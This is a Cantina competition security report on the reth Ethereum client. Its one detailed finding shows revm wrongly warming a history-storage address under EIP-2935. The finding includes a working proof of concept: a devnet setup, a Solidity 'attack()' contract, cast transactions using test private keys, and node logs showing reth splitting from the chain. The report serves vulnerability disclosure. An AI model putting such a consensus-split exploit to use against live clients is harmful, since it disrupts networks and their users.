CANTINA

Ethereum Pectra: Reth

Competition

July 21, 2025

Contents

1 Introduction

1.1 About Cantina

Cantina is a security services marketplace that connects top security researchers and solutions with clients. Learn more at cantina.xyz

1.2 Disclaimer

A competition provides a broad evaluation of the security posture of the code at a particular moment based on the information available at the time of the review. While competitions endeavor to identify and disclose all potential security issues, they cannot guarantee that every vulnerability will be detected or that the code will be entirely secure against all possible attacks. The assessment is conducted based on the specific commit and version of the code provided. Any subsequent modifications to the code may introduce new vulnerabilities, therefore, any changes made to the code would require an additional security review. Please be advised that competitions are not a replacement for continuous security measures such as penetration testing, vulnerability scanning, and regular code reviews.

1.3 Risk assessment

Severity	Description
High	*Must* fix as soon as possible (if already deployed) and can be triggered by any user without significant constraints, generating outsized returns to the exploiter. For example: loss of user funds (significant amount of funds being stolen or lost) or breaking core functionality (failure in fundamental protocol operations).
Medium	Global losses <10% or losses to only a subset of users, requiring significant constraints (capital, planning, other users...) to be exploited. For example: temporary disruption or denial of service (DoS), minor fund loss or exposure or breaking non-core functionality
Low	Losses will be annoying but easily recoverable, requiring unusual scenarios or admin actions to be exploited.
Gas Optimization	Suggestions around gas saving practices.
Informational	Suggestions around best practices or readability.

1.3.1 Severity Classification

The severity of security issues found during the security review is categorized based on the above matrix. High severity findings represent the most critical issues that must be addressed immediately, as they either have high impact and high likelihood of occurrence, or medium impact with high likelihood.

Medium severity findings represent issues that, while not immediately critical, still pose significant risks and should be addressed promptly. These typically involve scenarios with medium impact and medium likelihood, or high impact with low likelihood.

Low severity findings represent issues that, while not posing immediate threats, could potentially cause problems in specific scenarios. These typically involve medium impact with low likelihood, or low impact with medium likelihood.

Lastly, some findings might represent improvements that don't directly impact security but could enhance the codebase's quality, readability, or efficiency (Gas and Informational findings).

2 Security Review Summary

Ethereum is a worldwide system, an open-source platform to write computer code that stores and automates digital databases using smart contracts, without relying upon a central intermediary, solving trust with cryptographic techniques.

From Feb 21st to Mar 27th Cantina hosted a competition based on the Ethereum Pectra upgrade. The present report focuses in the reth implementation. The participants identified a total of **7** issues in the following risk categories:

- Critical Risk: 0
- High Risk: 0
- Medium Risk: 0
- Low Risk: 4
- Gas Optimizations: 0
- Informational: 3

3 Findings

3.1 Low Risk

3.1.1 `revm` warms up `0x0F792be4B0c0cb4DAE440Ef133E90C0eCD48CCCC` address during pre-execution

Submitted by alexfilippov314

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: `Reth` utilizes `revm` for EVM transaction processing. During block execution, control eventually reaches the `Handler::run` function:

```
#[inline]
fn run(
    &mut self,
    evm: &mut Self::Evm,
) -> Result<ResultAndState<Self::HaltReason>, Self::Error> {
    let init_and_floor_gas = self.validate(evm)?;
    let eip7702_refund = self.pre_execution(evm)? as i64;
    let exec_result = self.execution(evm, &init_and_floor_gas)?;
    self.post_execution(evm, exec_result, init_and_floor_gas, eip7702_refund)
}
```

This function calls `pre_execution`, which, among other tasks, invokes `pre_execution::load_accounts(evm.ctx())`. Within this function, pre_execution.rs#L31-L35 is executed:

```
// Load blockhash storage address
// EIP-2935: Serve historical block hashes from state
if spec.is_enabled_in(SpecId::PRAGUE) {
    context.journal().warm_account(BLOCKHASH_STORAGE_ADDRESS);
}
```

The issue arises because this code warms up `BLOCKHASH_STORAGE_ADDRESS`, even though EIP-2935 explicitly states that this address should not be warmed up:

> The system update at the beginning of the block, i.e. process_block_hash_history (or via system call to the contract with SYSTEM_ADDRESS caller), will not warm the HISTORY_STORAGE_ADDRESS account or its storage slots as per EIP-2929 rules. As such the first call to the contract will pay for warming up the account and storage slots it accesses.To clarify further any contract call to the HISTORY_STORAGE_ADDRESS will follow normal EVM execution semantics.

This issue could result in gas miscalculations for transactions that involve calls to `0x0F792be4B0c0cb4DAE440Ef133E90C0eCD48CCCC` or any other state access operations with this address (EIP-2929), potentially leading to a chain split.

Another issue is that `BLOCKHASH_STORAGE_ADDRESS` is set (constants.rs#L20) to `0x0F792be4B0c0cb4DAE440Ef133E90C0eCD48CCCC`, while the correct value should be `0x0000F90827F1C53a10cb7A02335B175320002935`. However, considering that the only place this constant is used is the one mentioned above, and that this occurrence should be removed, this misconfiguration has no direct impact.

```
pub const BLOCKHASH_STORAGE_ADDRESS: Address = address!("0F792be4B0c0cb4DAE440Ef133E90C0eCD48CCCC");
```

Proof of concept:

1. Build the `reth` image from the main branch. I tested this with commit `b8fa08f452cd5da580362d00cc147d1c419faddc`.

    ```
    git clone https://github.com/paradigmxyz/reth
    cd reth
    docker build -t reth-local:latest .
    ```

2. Install Kurtosis.
3. Create `network_params.yaml` with the following content:

```
participants:
- el_type: geth
    cl_type: prysm
    count: 1
- el_type: nethermind
    cl_type: prysm
    count: 1
- el_type: reth
    el_image: reth-local:latest
    cl_type: prysm
    count: 1

network_params:
network_id: "585858"
electra_fork_epoch: 1
genesis_gaslimit: 30000000
```

4. Create `Makefile` with the following content:

```
build-geth: ## build geth
    cd /home/allfi/src/audits/cantina/pectra/execution/go-ethereum && docker build -t
    ↪  local-ef-geth:latest .

start-e2e: ## start the e2e
    kurtosis run github.com/ethpandaops/ethereum-package --args-file ./network_params.yaml
    ↪  --image-download always --enclave e2e

kill-e2e: ## stop e2e tests
    kurtosis enclave stop e2e
    kurtosis enclave rm e2e

# Phony targets:
.PHONY: build-geth start-e2e kill-e2e
```

5. Run the network:

```
make start-e2e
```

6. Transfer some eth to test account. I used the `reth` RPC URL for all cast commands.

```
cast send 0x069B02919Cbc2671bF1dB26745DfEDB8d3c7D146 --value 1ether --private-key
↪  04b9f63ecf84210c5366c66d68fa1f5da1fa4f634fad6dfc86178e4d79ff9e59 --rpc-url 127.0.0.1:32781
```

7. Deploy the following contract:

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract POC {
    address old_history_storage = 0x0F792be4B0c0cb4DAE440Ef133E90C0eCD48CCCC;

    function attack() public {
        (bool success, ) = old_history_storage.call("");
        uint256 a = old_history_storage.balance + old_history_storage.code.length;
    }
}
```

8. Wait for block 33 to ensure that Pectra is active.
9. Send the attack transaction. The access list is specified to override the default, which would otherwise include `0x0F792be4B0c0cb4DAE440Ef133E90C0eCD48CCCC`.

```
cast send 0x6f786D58D9d378F80efbaF3a49ef1BE38542f358 "attack()" --rpc-url 127.0.0.1:32781 --private-key
↪  0x8b0630b2bbe5c07805611472d324bdab6473613c8860f7ae167aeb5d189154fc --gas-limit 100000 --access-list
↪  '[{"address":"0x1c20B5bFBF8C38173a46b6451740350739e0D6c0","storageKeys":[]}]'
```

10. The result may vary slightly depending on the proposer:

- In my case, `reth` rejected the block proposed by `Nethermind`.
- After this, `geth` and `Nethermind` continued processing as expected.
- `Reth` split from the network and became stagnant.

- **Nethermind:**

```
06 Mar 08:11:10 | Synced Chain Head to 40 (0x82977c...312c63)
06 Mar 08:11:10 | Received ForkChoice: 0x82977c...312c63, Safe: 0x000000...000000, Finalized:
↪  0x000000...000000
06 Mar 08:11:10 | Produced block 41 (0x69eb71...6241d4), diff: 0, tx count: 0
06 Mar 08:11:10 | Improved post-merge block 41 (0x69eb71...6241d4), diff: 0, tx count: 0
06 Mar 08:11:15 | Produced block 41 (0x69eb71...6241d4), diff: 0, tx count: 0
06 Mar 08:11:15 | Improved post-merge block 41 (0x69eb71...6241d4), diff: 0, tx count: 0
06 Mar 08:11:18 | Produced block 41 (0x69eb71...6241d4), diff: 0, tx count: 0
06 Mar 08:11:18 | Improved post-merge block 41 (0x69eb71...6241d4), diff: 0, tx count: 0
06 Mar 08:11:21 | Produced block 41 (0x2788b8...74b4fd), diff: 0, tx count: 1
06 Mar 08:11:21 | Improved post-merge block 41 (0x2788b8...74b4fd), diff: 0, tx count: 1
06 Mar 08:11:24 | GetPayloadV4 result: 41 (0x2788b8...74b4fd).
06 Mar 08:11:24 | Received New Block:  41 (0x2788b8...74b4fd)      | limit    30,117,095    | Extra
↪  Data: Nethermind
06 Mar 08:11:24 | Processed                   41          |        1.0 ms  | slot         12,011 ms | Gas
↪  gwei: 0.00 .. 0.00 (0.00) .. 0.00
06 Mar 08:11:24 |  Block     0.0000 ETH    0.03 MGas    |         1    txs | calls           1 (   1) |
↪  sload       11 | sstore     10 | create    0
06 Mar 08:11:24 |  Block throughput       30.66 MGas/s  |    1,047.1 tps |          1047.12 Blk/s |
↪  exec code  from cache       7 | new       0
06 Mar 08:11:24 | Received ForkChoice: 0x2788b8...74b4fd, Safe: 0x000000...000000, Finalized:
↪  0x000000...000000
06 Mar 08:11:24 | Synced Chain Head to 41 (0x2788b8...74b4fd)
06 Mar 08:11:24 | Received ForkChoice: 0x2788b8...74b4fd, Safe: 0x000000...000000, Finalized:
↪  0x000000...000000
06 Mar 08:11:24 | Produced block 42 (0x46e5bf...168e6b), diff: 0, tx count: 0
06 Mar 08:11:24 | Improved post-merge block 42 (0x46e5bf...168e6b), diff: 0, tx count: 0
06 Mar 08:11:27 | Produced block 42 (0x46e5bf...168e6b), diff: 0, tx count: 0
06 Mar 08:11:27 | Improved post-merge block 42 (0x46e5bf...168e6b), diff: 0, tx count: 0
06 Mar 08:11:30 | Produced block 42 (0x46e5bf...168e6b), diff: 0, tx count: 0
06 Mar 08:11:30 | Improved post-merge block 42 (0x46e5bf...168e6b), diff: 0, tx count: 0
06 Mar 08:11:33 | Produced block 42 (0x46e5bf...168e6b), diff: 0, tx count: 0
06 Mar 08:11:33 | Improved post-merge block 42 (0x46e5bf...168e6b), diff: 0, tx count: 0
06 Mar 08:11:34 | GetPayloadV4 result: 42 (0x46e5bf...168e6b).
06 Mar 08:11:34 | Received New Block:  42 (0x46e5bf...168e6b)      | limit    30,117,095    | Extra
↪  Data: Nethermind
06 Mar 08:11:34 | Processed                   42          |        0.7 ms  | slot          9,944 ms |
06 Mar 08:11:34 |  Block     0.0000 ETH    0.00 MGas    |        0    txs | calls           0 (   0) |
↪  sload        8 | sstore     10 | create    0
06 Mar 08:11:34 |  Block throughput        0.00 MGas/s  |        0.0 tps |          1364.26 Blk/s |
↪  exec code  from cache       3 | new       0
06 Mar 08:11:34 | Received ForkChoice: 0x46e5bf...168e6b, Safe: 0x000000...000000, Finalized:
↪  0x000000...000000
06 Mar 08:11:34 | Synced Chain Head to 42 (0x46e5bf...168e6b)
06 Mar 08:11:34 | Received ForkChoice: 0x46e5bf...168e6b, Safe: 0x000000...000000, Finalized:
↪  0x000000...000000
06 Mar 08:11:34 | Produced block 43 (0xa5a2b6...d0bbeb), diff: 0, tx count: 0
06 Mar 08:11:34 | Improved post-merge block 43 (0xa5a2b6...d0bbeb), diff: 0, tx count: 0
06 Mar 08:11:37 | Produced block 43 (0xa5a2b6...d0bbeb), diff: 0, tx count: 0
06 Mar 08:11:37 | Improved post-merge block 43 (0xa5a2b6...d0bbeb), diff: 0, tx count: 0
06 Mar 08:11:40 | Produced block 43 (0xa5a2b6...d0bbeb), diff: 0, tx count: 0
06 Mar 08:11:40 | Improved post-merge block 43 (0xa5a2b6...d0bbeb), diff: 0, tx count: 0
06 Mar 08:11:43 | Produced block 43 (0xa5a2b6...d0bbeb), diff: 0, tx count: 0
06 Mar 08:11:43 | Improved post-merge block 43 (0xa5a2b6...d0bbeb), diff: 0, tx count: 0
06 Mar 08:11:48 | GetPayloadV4 result: 43 (0xa5a2b6...d0bbeb).
06 Mar 08:11:48 | Received New Block:  43 (0xa5a2b6...d0bbeb)      | limit    30,117,095    | Extra
↪  Data: Nethermind
06 Mar 08:11:48 | Processed                   43          |        0.6 ms  | slot         12,032 ms |
06 Mar 08:11:48 |  Block     0.0000 ETH    0.00 MGas    |        0    txs | calls           0 (   0) |
↪  sload        8 | sstore     10 | create    0
06 Mar 08:11:48 |  Block throughput        0.00 MGas/s  |        0.0 tps |          1785.71 Blk/s |
↪  exec code  from cache       3 | new       0
06 Mar 08:11:48 | Received ForkChoice: 0xa5a2b6...d0bbeb, Safe: 0x000000...000000, Finalized:
↪  0x000000...000000
06 Mar 08:11:48 | Synced Chain Head to 43 (0xa5a2b6...d0bbeb)
06 Mar 08:11:58 | Received New Block:  44 (0x998f40...a439b7)      | limit    30,087,685   | Extra Data:
↪   geth go1.24.1 linux
06 Mar 08:11:58 | Processed                   44          |        0.7 ms  | slot          9,676 ms |
06 Mar 08:11:58 |  Block     0.0000 ETH    0.00 MGas    |        0    txs | calls           0 (   0) |
↪  sload        8 | sstore     10 | create    0
06 Mar 08:11:58 |  Block throughput        0.00 MGas/s  |        0.0 tps |          1459.85 Blk/s |
↪  exec code  from cache       3 | new       0
06 Mar 08:11:58 | Received ForkChoice: 0x998f40...a439b7, Safe: 0x000000...000000, Finalized:
↪  0x000000...000000
06 Mar 08:11:58 | Synced Chain Head to 44 (0x998f40...a439b7)
```

```
06 Mar 08:11:58 | Received ForkChoice: 0x998f40...a439b7, Safe: 0x000000...000000, Finalized:
↪  0x000000...000000
06 Mar 08:11:58 | Produced block 45 (0x2fb382...77945c), diff: 0, tx count: 0
06 Mar 08:11:58 | Improved post-merge block 45 (0x2fb382...77945c), diff: 0, tx count: 0
06 Mar 08:12:01 | Produced block 45 (0x2fb382...77945c), diff: 0, tx count: 0
06 Mar 08:12:01 | Improved post-merge block 45 (0x2fb382...77945c), diff: 0, tx count: 0
06 Mar 08:12:04 | Produced block 45 (0x2fb382...77945c), diff: 0, tx count: 0
06 Mar 08:12:04 | Improved post-merge block 45 (0x2fb382...77945c), diff: 0, tx count: 0
06 Mar 08:12:07 | Produced block 45 (0x2fb382...77945c), diff: 0, tx count: 0
06 Mar 08:12:07 | Improved post-merge block 45 (0x2fb382...77945c), diff: 0, tx count: 0
06 Mar 08:12:10 | GetPayloadV4 result: 45 (0x2fb382...77945c).
06 Mar 08:12:10 | Received New Block:  45 (0x2fb382...77945c)      | limit    30,087,685    | Extra
↪  Data: Nethermind
06 Mar 08:12:10 | Processed                    45         |        0.5 ms  | slot         12,014 ms |
06 Mar 08:12:10 |  Block      0.0000 ETH    0.00 MGas    |        0    txs | calls          0 (   0) |
↪  sload       8 | sstore     10 | create    0
06 Mar 08:12:10 |  Block throughput         0.00 MGas/s  |        0.0 tps |          1851.85 Blk/s |
↪  exec code  from cache       3 | new       0
06 Mar 08:12:10 | Received ForkChoice: 0x2fb382...77945c, Safe: 0x000000...000000, Finalized:
↪  0x000000...000000
06 Mar 08:12:10 | Synced Chain Head to 45 (0x2fb382...77945c)
06 Mar 08:12:24 | Received New Block:  41 (0x5def1e...cb1dd5)      | limit    30,146,505    | Address:
↪  0x8943545177806ed17b9f23f0a21ee5948ecaa776
06 Mar 08:12:24 | Processed block 41 (0x90a7fc...d690a7) is invalid:
06 Mar 08:12:24 | - hash: expected 0x5def1ea89b755b470729f219638ea0a285675d535b9bf848757d7fc9cccb1dd5,
↪  got 0x90a7fc3592f1c255a2ecb32a9400c25a0cfe58688399fa80bd346c5aacd690a7
06 Mar 08:12:24 | - gas used: expected 26777, got 29277 (diff: 2500)
06 Mar 08:12:24 | - receipts root: expected
↪  0xfe078bf37d856ac1d1ec1cc2fb90b4b42148f66e2d9ec77e24a12b7d2dcc1d39, got
↪  0x4655cc2d5ec460425701a4f5d7cced8f2cd44f22b209cf30eef75dde9cd4e0e1
06 Mar 08:12:24 | - state root: expected
↪  0xe4460855f66f62072daf03923cab6dc953026bad6d3d99cff26fd69d19c73068, got
↪  0x194772bfea810c132c16813306759acc16cd900b207db0872be63030f60a41fb
06 Mar 08:12:24 | - block extra data : , UTF8:
06 Mar 08:12:24 | Rejected invalid block 41
↪  (0x5def1ea89b755b470729f219638ea0a285675d535b9bf848757d7fc9cccb1dd5),  ExtraData: , reason: invalid
↪  block after processing
06 Mar 08:12:24 | Encountered exception Nethermind.Blockchain.InvalidBlockException:
↪  HeaderGasUsedMismatch: Gas used in header does not match calculated. Expected 26777, got 29277
at Nethermind.Consensus.Processing.BlockProcessor.Process(Hash256 newBranchStateRoot, IReadOnlyList`1
↪  suggestedBlocks, ProcessingOptions options, IBlockTracer blockTracer) in
↪  /src/Nethermind/Nethermind.Consensus/Processing/BlockProcessor.cs:line 148 while processing blocks.
06 Mar 08:12:24 | Issue processing block Hash:
↪  0x5def1ea89b755b470729f219638ea0a285675d535b9bf848757d7fc9cccb1dd5
Number: 41
Parent: 0x82977ca64fdae55e5e1ff6f0a1039090a499a5062d10055ed205d20b78312c63
Beneficiary: 0x8943545177806ed17b9f23f0a21ee5948ecaa776
Gas Limit: 30146505
Gas Used: 26777
Timestamp: 1741248742
Extra Data:
Difficulty: 0
Mix Hash: 0xcd82deafe16e373e2ef65fc07171e02b49b306fbd6091453bb99948fb740a7f1
Nonce: 0
Uncles Hash: 0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347
Tx Root: 0xf3ffb5daf0b1f2692923f0873d4bf09f5752790e25dc46a332a0c020c3922f6b
Receipts Root: 0xfe078bf37d856ac1d1ec1cc2fb90b4b42148f66e2d9ec77e24a12b7d2dcc1d39
State Root: 0xe4460855f66f62072daf03923cab6dc953026bad6d3d99cff26fd69d19c73068
BaseFeePerGas: 4199654
WithdrawalsRoot: 0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421
ParentBeaconBlockRoot: 0x5db1e73113d8204ac9378baacc1998042a71b21ddf238bc73256f4941c64a256
BlobGasUsed: 0
ExcessBlobGas: 0
IsPostMerge: True
TotalDifficulty: 0
RequestsHash: 0xe3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
Nethermind.Blockchain.InvalidBlockException: HeaderGasUsedMismatch: Gas used in header does not match
↪  calculated. Expected 26777, got 29277
at Nethermind.Consensus.Processing.BlockProcessor.Process(Hash256 newBranchStateRoot, IReadOnlyList`1
↪  suggestedBlocks, ProcessingOptions options, IBlockTracer blockTracer) in
↪  /src/Nethermind/Nethermind.Consensus/Processing/BlockProcessor.cs:line 148
at Nethermind.Consensus.Processing.BlockchainProcessor.ProcessBranch(ProcessingBranch&
↪  processingBranch, ProcessingOptions options, IBlockTracer tracer, String& error)
06 Mar 08:12:24 | Created a RLP dump of invalid block
↪  0x5def1ea89b755b470729f219638ea0a285675d535b9bf848757d7fc9cccb1dd5 in file
↪  /tmp/block_0x5def1ea89b755b470729f219638ea0a285675d535b9bf848757d7fc9cccb1dd5.rlp
```

```
06 Mar 08:12:24 | Processed block 41 (0x90a7fc...d690a7) is invalid:
06 Mar 08:12:24 | - hash: expected 0x5def1ea89b755b470729f219638ea0a285675d535b9bf848757d7fc9cccb1dd5,
↪  got 0x90a7fc3592f1c255a2ecb32a9400c25a0cfe58688399fa80bd346c5aacd690a7
06 Mar 08:12:24 | - gas used: expected 26777, got 29277 (diff: 2500)
06 Mar 08:12:24 | - receipts root: expected
↪  0xfe078bf37d856ac1d1ec1cc2fb90b4b42148f66e2d9ec77e24a12b7d2dcc1d39, got
↪  0x4655cc2d5ec460425701a4f5d7cced8f2cd44f22b209cf30eef75dde9cd4e0e1
06 Mar 08:12:24 | - state root: expected
↪  0xe4460855f66f62072daf03923cab6dc953026bad6d3d99cff26fd69d19c73068, got
↪  0x194772bfea810c132c16813306759acc16cd900b207db0872be63030f60a41fb
06 Mar 08:12:24 | - block extra data : , UTF8:
06 Mar 08:12:24 | Rejected invalid block 41
↪  (0x5def1ea89b755b470729f219638ea0a285675d535b9bf848757d7fc9cccb1dd5),  ExtraData: , reason: invalid
↪  block after processing
06 Mar 08:12:24 | Encountered exception Nethermind.Blockchain.InvalidBlockException:
↪  HeaderGasUsedMismatch: Gas used in header does not match calculated. Expected 26777, got 29277
at Nethermind.Consensus.Processing.BlockProcessor.Process(Hash256 newBranchStateRoot, IReadOnlyList`1
↪  suggestedBlocks, ProcessingOptions options, IBlockTracer blockTracer) in
↪  /src/Nethermind/Nethermind.Consensus/Processing/BlockProcessor.cs:line 148 while processing blocks.
06 Mar 08:12:24 | Created a Receipts trace of invalid block
↪  0x5def1ea89b755b470729f219638ea0a285675d535b9bf848757d7fc9cccb1dd5 in file
↪  /tmp/receipts_0x5def1ea89b755b470729f219638ea0a285675d535b9bf848757d7fc9cccb1dd5.txt
06 Mar 08:12:24 | Deleting invalid block
↪  0x5def1ea89b755b470729f219638ea0a285675d535b9bf848757d7fc9cccb1dd5 at level 41
06 Mar 08:12:24 | Rejected invalid block 41
↪  (0x5def1ea89b755b470729f219638ea0a285675d535b9bf848757d7fc9cccb1dd5),  ExtraData: , reason:
↪  HeaderGasUsedMismatch: Gas used in header does not match calculated. Expected 26777, got 29277
06 Mar 08:12:34 | Received New Block:  46 (0xb18afc...799bd7)      | limit    30,058,304    | Extra
↪  Data:  geth go1.24.1 linux
06 Mar 08:12:34 | Processed                   46         |        0.5 ms  | slot         21,711 ms |
06 Mar 08:12:34 |  Block     0.0000 ETH    0.00 MGas    |        0   txs | calls           0 (  0) |
↪  sload       8 | sstore     10 | create    0
06 Mar 08:12:34 |  Block throughput       0.00 MGas/s  |        0.0 tps |          1831.50 Blk/s |
↪  exec code  from cache       3 | new      0
06 Mar 08:12:34 | Received ForkChoice: 0xb18afc...799bd7, Safe: 0x000000...000000, Finalized:
↪  0x000000...000000
06 Mar 08:12:34 | Synced Chain Head to 46 (0xb18afc...799bd7)
```

- **Geth:**

```
INFO [03-06|08:11:10.132] Chain head was updated                   number=40 hash=82977c..312c63
↪  root=ddc604..1a7b90 elapsed="78.241s"
ERROR[03-06|08:11:10.132] Nil finalized block cannot evict old blobs
INFO [03-06|08:11:17.877] Looking for peers                        peercount=2 tried=50 static=0
INFO [03-06|08:11:24.190] Imported new potential chain segment     number=41 hash=2788b8..74b4fd
↪  blocks=1 txs=1 mgas=0.029 elapsed="502.902s" mgasps=58.216  snapdiffs=10.47KiB triediffs=120.18KiB
↪  triedirty=0.00B
INFO [03-06|08:11:24.210] Chain head was updated                   number=41 hash=2788b8..74b4fd
↪  root=445d33..4e7aea elapsed="72.764s"
ERROR[03-06|08:11:24.211] Nil finalized block cannot evict old blobs
INFO [03-06|08:11:28.332] Looking for peers                        peercount=2 tried=38 static=0
INFO [03-06|08:11:34.132] Imported new potential chain segment     number=42 hash=46e5bf..168e6b
↪  blocks=1 txs=0 mgas=0.000 elapsed="588.198s" mgasps=0.000   snapdiffs=10.83KiB triediffs=124.60KiB
↪  triedirty=0.00B
INFO [03-06|08:11:34.144] Chain head was updated                   number=42 hash=46e5bf..168e6b
↪  root=6f3da8..51564a elapsed="66.801s"
ERROR[03-06|08:11:34.145] Nil finalized block cannot evict old blobs
INFO [03-06|08:11:38.353] Looking for peers                        peercount=3 tried=61 static=0
INFO [03-06|08:11:48.447] Imported new potential chain segment     number=43 hash=a5a2b6..d0bbeb
↪  blocks=1 txs=0 mgas=0.000 elapsed="856.204s" mgasps=0.000   snapdiffs=11.19KiB triediffs=128.60KiB
↪  triedirty=0.00B
INFO [03-06|08:11:48.470] Chain head was updated                   number=43 hash=a5a2b6..d0bbeb
↪  root=81eac1..0d7872 elapsed="67.398s"
ERROR[03-06|08:11:48.471] Nil finalized block cannot evict old blobs
INFO [03-06|08:11:48.475] Starting work on payload                 id=0x037de787bacc3721
INFO [03-06|08:11:48.476] Updated payload                          id=0x037de787bacc3721 number=44
↪  hash=998f40..a439b7 txs=0 withdrawals=0 gas=0 fees=0 root=5b43de..0b2cf6 elapsed="373.061s"
INFO [03-06|08:11:51.158] Looking for peers                        peercount=2 tried=36 static=0
INFO [03-06|08:11:58.108] Stopping work on payload                 id=0x037de787bacc3721 reason=delivery
INFO [03-06|08:11:58.119] Imported new potential chain segment     number=44 hash=998f40..a439b7
↪  blocks=1 txs=0 mgas=0.000 elapsed="652.47s"  mgasps=0.000   snapdiffs=11.56KiB triediffs=133.09KiB
↪  triedirty=0.00B
INFO [03-06|08:11:58.134] Chain head was updated                   number=44 hash=998f40..a439b7
↪  root=5b43de..0b2cf6 elapsed="66.54s"
ERROR[03-06|08:11:58.134] Nil finalized block cannot evict old blobs
INFO [03-06|08:12:01.572] Looking for peers                        peercount=2 tried=48 static=0
INFO [03-06|08:12:10.141] Imported new potential chain segment     number=45 hash=2fb382..77945c
↪  blocks=1 txs=0 mgas=0.000 elapsed="665.303s" mgasps=0.000   snapdiffs=11.92KiB triediffs=137.61KiB
↪  triedirty=0.00B
INFO [03-06|08:12:10.163] Chain head was updated                   number=45 hash=2fb382..77945c
↪  root=0f97de..1fa86e elapsed="69.008s"
ERROR[03-06|08:12:10.163] Nil finalized block cannot evict old blobs
INFO [03-06|08:12:11.584] Looking for peers                        peercount=2 tried=93 static=0
INFO [03-06|08:12:23.941] Looking for peers                        peercount=2 tried=20 static=0
WARN [03-06|08:12:24.594] Failed to load old bad blocks            error="pebble: not found"
ERROR[03-06|08:12:24.594]
**BAD BLOCK #########:** Block: 41 (0x5def1ea89b755b470729f219638ea0a285675d535b9bf848757d7fc9cccb1dd5)
Error: invalid gas used (remote: 26777 local: 29277)
Platform: geth v1.15.5-0.20250305105718-2645b4e0bf8e+dirty go1.24.1 amd64 linux
VCS: 2645b4e0-20250305
Chain config: &params.ChainConfig{ChainID:585858, HomesteadBlock:0, DAOForkBlock:<nil>,
↪  DAOForkSupport:false, EIP150Block:0, EIP155Block:0, EIP158Block:0, ByzantiumBlock:0,
↪  ConstantinopleBlock:0, PetersburgBlock:0, IstanbulBlock:0, MuirGlacierBlock:<nil>, BerlinBlock:0,
↪  LondonBlock:0, ArrowGlacierBlock:<nil>, GrayGlacierBlock:<nil>, MergeNetsplitBlock:0,
↪  ShanghaiTime:(*uint64)(0xc000184c70), CancunTime:(*uint64)(0xc000184c78),
↪  PragueTime:(*uint64)(0xc000184c80), OsakaTime:(*uint64)(0xc000184c88), VerkleTime:(*uint64)(nil),
↪  TerminalTotalDifficulty:0, DepositContractAddress:0x4242424242424242424242424242424242424242,
↪  EnableVerkleAtGenesis:false, Ethash:(*params.EthashConfig)(nil),
↪  Clique:(*params.CliqueConfig)(nil), BlobScheduleConfig:(*params.BlobScheduleConfig)(0xc000adf840)}
Receipts:
0: cumulative: 29277 gas: 29277 contract: 0x0000000000000000000000000000000000000000 status: 1 tx:
↪  0xd1e58ae7c851163c71498843f46362b122bf494acc1073c2399edf90e4a64c3b logs: [] bloom:
↪  000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000⌋
↪  000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000⌋
↪  000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000⌋
↪  000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000⌋
↪  000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000⌋
↪  00000000000000000 state:
**WARN [03-06|08:12:24.594] NewPayload: inserting block failed       error="invalid gas used (remote:
↪  26777 local: 29277)":** INFO [03-06|08:12:28.285] Starting work on payload
↪  id=0x039b31a9ab8c5fd7
INFO [03-06|08:12:28.285] Updated payload                          id=0x039b31a9ab8c5fd7 number=46
↪  hash=b18afc..799bd7 txs=0 withdrawals=0 gas=0 fees=0 root=f8dc7f..2925db elapsed="286.441s"
INFO [03-06|08:12:33.971] Looking for peers                        peercount=3 tried=110 static=0
INFO [03-06|08:12:34.110] Stopping work on payload                 id=0x039b31a9ab8c5fd7 reason=delivery
INFO [03-06|08:12:34.125] Imported new potential chain segment     number=46 hash=b18afc..799bd7
↪  blocks=1 txs=0 mgas=0.000 elapsed="552.844s" mgasps=0.000   snapdiffs=12.28KiB triediffs=141.98KiB
↪  triedirty=0.00B
INFO [03-06|08:12:34.149] Chain head was updated                   number=46 hash=b18afc..799bd7
↪  root=f8dc7f..2925db elapsed="63.945s"
```

- **Reth:**

```
2025-03-06T08:11:10.128624Z  INFO Block added to canonical chain number=40
↪  hash=0x82977ca64fdae55e5e1ff6f0a1039090a499a5062d10055ed205d20b78312c63 peers=2 txs=0 gas=0.00 Kgas
↪  gas_throughput=0.00 Kgas/second full=0.0% base_fee=0.00gwei blobs=0 excess_blobs=0
↪  elapsed=6.453077ms
2025-03-06T08:11:10.139456Z  INFO Canonical chain committed number=40
↪  hash=0x82977ca64fdae55e5e1ff6f0a1039090a499a5062d10055ed205d20b78312c63 elapsed=39.81s
2025-03-06T08:11:24.192492Z  WARN Invalid block error on new payload
↪  invalid_hash=0x2788b8f956183003aa7bae4ad8b1bc7e6211667312e8cf48130588ee1c74b4fd invalid_number=41
↪  validation_err=block gas used mismatch: got 26777, expected 29277; gas spent by each transaction:
↪  [(0, 26777)]
2025-03-06T08:11:24.192553Z  WARN Bad block with hash invalid_ancestor=BlockWithParent { parent:
↪  0x82977ca64fdae55e5e1ff6f0a1039090a499a5062d10055ed205d20b78312c63, block: NumHash { number: 41,
↪  hash: 0x2788b8f956183003aa7bae4ad8b1bc7e6211667312e8cf48130588ee1c74b4fd } }
2025-03-06T08:11:24.192661Z  WARN Encountered invalid block number=41
↪  hash=0x2788b8f956183003aa7bae4ad8b1bc7e6211667312e8cf48130588ee1c74b4fd
2025-03-06T08:12:14.001845Z  INFO New payload job created id=0x7ba4da606699fa27
↪  parent=0x82977ca64fdae55e5e1ff6f0a1039090a499a5062d10055ed205d20b78312c63
2025-03-06T08:12:14.497318Z  INFO Status connected_peers=2 latest_block=40
2025-03-06T08:12:24.431426Z  INFO Block added to canonical chain number=41
↪  hash=0x5def1ea89b755b470729f219638ea0a285675d535b9bf848757d7fc9cccb1dd5 peers=2 txs=1 gas=26.78
↪  Kgas gas_throughput=5.74 Mgas/second full=0.1% base_fee=0.00gwei blobs=0 excess_blobs=0
↪  elapsed=4.663217ms
2025-03-06T08:12:24.443702Z  INFO Canonical chain committed number=41
↪  hash=0x5def1ea89b755b470729f219638ea0a285675d535b9bf848757d7fc9cccb1dd5 elapsed=42.916s
2025-03-06T08:12:38.003875Z  INFO New payload job created id=0xa27c100bc4e699da
